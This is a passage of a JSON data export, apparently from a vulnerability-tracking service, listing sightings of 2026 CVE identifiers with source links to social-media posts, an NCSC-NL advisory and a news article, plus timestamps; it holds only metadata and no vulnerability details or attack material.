"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27246", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjjeskpsne2s", "content": "", "creation_timestamp": "2026-04-15T07:30:36.693499Z"}, {"uuid": "36f36bfb-1abd-48e2-a2b9-27a05932371d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27245", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116407902478004814", "content": "", "creation_timestamp": "2026-04-15T09:00:30.058375Z"}, {"uuid": "b6fe3ef8-da63-41c2-b3a0-f6e1fe5a3e6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27245", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjjjtefen22i", "content": "", "creation_timestamp": "2026-04-15T09:00:32.377803Z"}, {"uuid": "803c52e6-1951-4b05-ae53-18ff90d7befc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27913", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mjjlkzcdhm2p", "content": "", "creation_timestamp": "2026-04-15T09:31:39.156123Z"}, {"uuid": "e0cf99d8-6032-4b17-a60d-f80fa18cb239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27293", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjqjt5anb2a", "content": "", "creation_timestamp": "2026-04-15T11:00:28.196649Z"}, {"uuid": "718459a8-a3ce-4ab1-974a-2de899a35e28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27294", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjqjzlq2i2e", "content": "", "creation_timestamp": "2026-04-15T11:00:34.883989Z"}, {"uuid": "3da4730d-71e8-4941-8cfe-50bc8272e1eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27295", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjqka4vjs2u", "content": "", "creation_timestamp": "2026-04-15T11:00:41.867269Z"}, {"uuid": "7b282956-c22d-4246-a425-9187addd9c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27296", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjqmldfdy25", "content": "", "creation_timestamp": "2026-04-15T11:02:01.554884Z"}, {"uuid": "a57bdbd6-fe71-4358-ae90-3ed29d78ba39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27297", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjref64db2p", "content": "", "creation_timestamp": "2026-04-15T11:15:19.679130Z"}, {"uuid": "366500c4-1d30-45a2-b1f8-ecbc097e22af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27298", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjrelsv272f", "content": "", "creation_timestamp": "2026-04-15T11:15:26.279569Z"}, {"uuid": "ddbf3aec-7970-45e3-aa02-0282fe44791d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27290", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjresr2ms27", "content": "", "creation_timestamp": "2026-04-15T11:15:33.790545Z"}, {"uuid": "446c8ffa-2be6-4d9e-a38b-97935038aac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27292", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjtu5mxyn2k", "content": "", "creation_timestamp": "2026-04-15T11:59:56.107733Z"}, {"uuid": "156c8f0d-2cf0-4f0d-a719-3b9916a7276d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27282", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjudy7rzv2y", "content": "", "creation_timestamp": "2026-04-15T12:08:47.062139Z"}, {"uuid": "67c13da8-e8b2-4066-a669-01b7a2829132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27769", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjjvk3msii2m", "content": "", "creation_timestamp": "2026-04-15T12:30:06.693600Z"}, {"uuid": "9490699d-9b5a-4e47-b938-b28ed3ad9548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27914", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "9b3ea959-7755-4c02-826c-4a69162a0e02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27910", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "98d73539-179e-41c0-841e-dbede0b94ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27911", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "fe57e942-faea-4390-9142-a2cca4724780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27930", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "04db74e8-c5c5-4387-82d5-48052d498540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27916", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "c856455c-982e-4fb1-b12e-8765e4c13e69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27920", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "5cccb209-2367-4723-9664-90ff13262aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27925", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "c29773e0-0759-41ee-ac0a-5dc34cd87782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27909", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "27fd9f85-2bcd-4848-9270-2452245f3d0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27924", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "e4a22332-b3b1-4ec3-9614-fa78979e5087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "02ad5c4e-9ee2-4071-9ac0-6b1fd74cc53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27917", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "973b115e-be14-4694-a2bf-4621e549194a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27926", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "a1a91ba0-17fe-4be9-bc76-6fb247e91601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27908", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "77f77876-73c5-4fca-b602-c4df9072a53e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27907", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "c813e804-0caa-4dd9-99b5-7188fe2d4385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27918", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "df5e57b1-ccda-4dcd-89bc-12f058aeacad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27927", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "e6579232-28f8-4b6b-bce1-efb7fdcaea3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27921", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "5da7d66b-3336-4311-99ee-5f059e07f04d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27913", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "2fad3ad7-5c42-407a-88ed-ba5a0c7f09a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27931", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "563d5734-9a73-4171-ac82-4bef62f20a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27922", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "ad029f47-e8eb-4178-8f58-12cd59272c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27929", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "3dfdccce-60ea-48c9-b0b6-028f5537b9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27915", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "fe5c1958-92ca-4d0a-9806-55118aa5af5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27919", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "fdbb6506-d403-4b34-aff9-5e7e0893cad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27906", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "2dd74741-f5dd-4c38-a906-ed04d4c93c41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27928", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "c98026d2-157b-4c63-9e71-3c4e2a619fd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27923", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0119", "content": "", "creation_timestamp": "2026-04-15T06:53:38.000000Z"}, {"uuid": "c9b5b005-f20f-4df7-9844-679ecd53b5db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27304", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjycjn4q32h", "content": "", "creation_timestamp": "2026-04-15T13:19:34.352823Z"}, {"uuid": "45276c29-956e-4d53-beba-369091a05249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27305", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjycrdx3s2a", "content": "", "creation_timestamp": "2026-04-15T13:19:41.276324Z"}, {"uuid": "e5357b9b-0721-4829-a4a8-dea7b13c0ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27306", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjjycyzdkv2y", "content": "", "creation_timestamp": "2026-04-15T13:19:49.197170Z"}, {"uuid": "c2cf5f3b-ace2-42e6-b585-36431693883b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27282", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjk2cip6co2n", "content": "", "creation_timestamp": "2026-04-15T13:55:19.465283Z"}, {"uuid": "af7e487d-cb4d-4208-9d49-58c67dcb56be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27304", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjk2cip6co2n", "content": "", "creation_timestamp": "2026-04-15T13:55:19.561526Z"}, {"uuid": "0a83da2a-b0f7-416f-97f6-0dfc543c0ae7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27305", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjk2cip6co2n", "content": "", "creation_timestamp": "2026-04-15T13:55:19.653294Z"}, {"uuid": "8a56cf26-d610-40ec-afde-418297333a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27306", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjk2cip6co2n", "content": "", "creation_timestamp": "2026-04-15T13:55:19.747230Z"}, {"uuid": "b1784cee-dac3-4dfe-ad20-97ad359b0693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27307", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjk2cip6co2n", "content": "", "creation_timestamp": "2026-04-15T13:55:19.854864Z"}, {"uuid": "612c8bdc-5f3c-4e64-9d4c-4a3b37b77c6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27308", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjk2cip6co2n", "content": "", "creation_timestamp": "2026-04-15T13:55:19.962602Z"}, {"uuid": "c8adeb04-aa89-4a79-b499-e6deb3498b31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27287", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjk34fxk7n2u", "content": "", "creation_timestamp": "2026-04-15T14:09:49.665129Z"}, {"uuid": "818d967f-4596-48c1-a484-15d107750258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27313", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjk3ltl55n2f", "content": "", "creation_timestamp": "2026-04-15T14:18:27.020353Z"}, {"uuid": "719fda7e-eb77-4aae-b4a4-1f57806c89f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://thehackernews.com/2026/04/april-patch-tuesday-fixes-critical.html", "content": "", "creation_timestamp": "2026-04-15T10:37:00.000000Z"}, {"uuid": "01708c07-7545-403b-a983-457159dab7f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27290", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjkqqyqfee2v", "content": "", "creation_timestamp": "2026-04-15T20:37:08.735806Z"}, {"uuid": "9f5fe0ff-51bf-498d-b6bf-60b2dcb60ab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27293", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjkxhkh5sb2p", "content": "", "creation_timestamp": "2026-04-15T22:37:07.948905Z"}, {"uuid": "9c18a2a6-77c0-4877-9314-23eb2551cdc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27295", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjkz57cfgi2r", "content": "", "creation_timestamp": "2026-04-15T23:07:07.829729Z"}, {"uuid": "bdf703b1-45f2-48f2-8bbc-c55d8b8b3675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27297", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjl2steyyy2r", "content": "", "creation_timestamp": "2026-04-15T23:37:07.215963Z"}, {"uuid": "77759b45-c73d-46b8-89a7-99a317e406b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27292", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjl4ihtp3l2l", "content": "", "creation_timestamp": "2026-04-16T00:07:07.433213Z"}, {"uuid": "e9943dbc-e093-45a0-936f-d827e08dffee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27287", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjl664scc22e", "content": "", "creation_timestamp": "2026-04-16T00:37:07.406525Z"}, {"uuid": "06c2cb8d-82d1-483f-b203-b25af06a9200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27310", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjlbjfncrb22", "content": "", "creation_timestamp": "2026-04-16T01:37:07.178945Z"}, {"uuid": "d79537d5-d8ef-407a-b3fd-37944aebd2b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27312", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjld72do5y2y", "content": "", "creation_timestamp": "2026-04-16T02:07:07.693692Z"}, {"uuid": "8804ac64-428a-42bc-9207-5135d1e0f7d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27769", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjmcwqgahd2b", "content": "", "creation_timestamp": "2026-04-16T11:35:10.963616Z"}, {"uuid": "92d64286-5067-476b-b34f-4b4b2cbf7088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27304", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjms544lyn2m", "content": "", "creation_timestamp": "2026-04-16T16:07:08.867768Z"}, {"uuid": "06b4f6d3-3d7f-4853-a023-9f4a7897f6c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27283", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjn2jdd66o2n", "content": "", "creation_timestamp": "2026-04-16T18:37:08.059944Z"}, {"uuid": "8a6de9d2-9e83-4687-95ce-093d07562e10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mjoc6cjsrh22", "content": "", "creation_timestamp": "2026-04-17T06:26:47.733286Z"}, {"uuid": "0b322825-3ecf-496d-9d4a-ca1b3f06e99e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27820", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mjoutufbkj2b", "content": "", "creation_timestamp": "2026-04-17T12:00:58.061035Z"}, {"uuid": "ba256d8c-a3e1-45c9-98c7-bc1af0e13296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27890", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjppngjaeg26", "content": "", "creation_timestamp": "2026-04-17T20:00:33.770203Z"}, {"uuid": "39e5e333-d217-4936-9d0a-6900c8034827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27890", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjpv5ej5fn2v", "content": "", "creation_timestamp": "2026-04-17T21:38:56.913181Z"}, {"uuid": "da61200e-a5b6-42fa-8b37-f46507dcfa51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27447", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mjq542v5rm2c", "content": "", "creation_timestamp": "2026-04-18T00:01:23.001584Z"}, {"uuid": "949a9b07-193d-4309-92d7-503491072bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27913", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mjqcm33lyd2d", "content": "", "creation_timestamp": "2026-04-18T01:39:48.783475Z"}, {"uuid": "1e349a29-c36a-4127-b517-b4bf3f60f224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjsdlaztdn2c", "content": "", "creation_timestamp": "2026-04-18T21:02:35.333009Z"}, {"uuid": "ff956f2f-ad6c-4e2c-94f7-abd34581e5c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjssqknglc2k", "content": "", "creation_timestamp": "2026-04-19T01:34:04.089410Z"}, {"uuid": "5912221c-c927-4b40-8cac-22d4700554dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2712", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjta45iojm2h", "content": "", "creation_timestamp": "2026-04-19T05:33:06.457702Z"}, {"uuid": "9fb21a5f-ffb5-4f79-8765-4bf567d89b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27913", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mjugujjnpt2n", "content": "", "creation_timestamp": "2026-04-19T17:06:50.890665Z"}, {"uuid": "5f384d7d-6ff9-402e-abb9-442d279483c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjvgdclzwg2x", "content": "", "creation_timestamp": "2026-04-20T02:29:48.986399Z"}, {"uuid": "0f0af2e4-330b-42c2-af8d-a60ed58a15da", "vulnerability_lookup_origin": 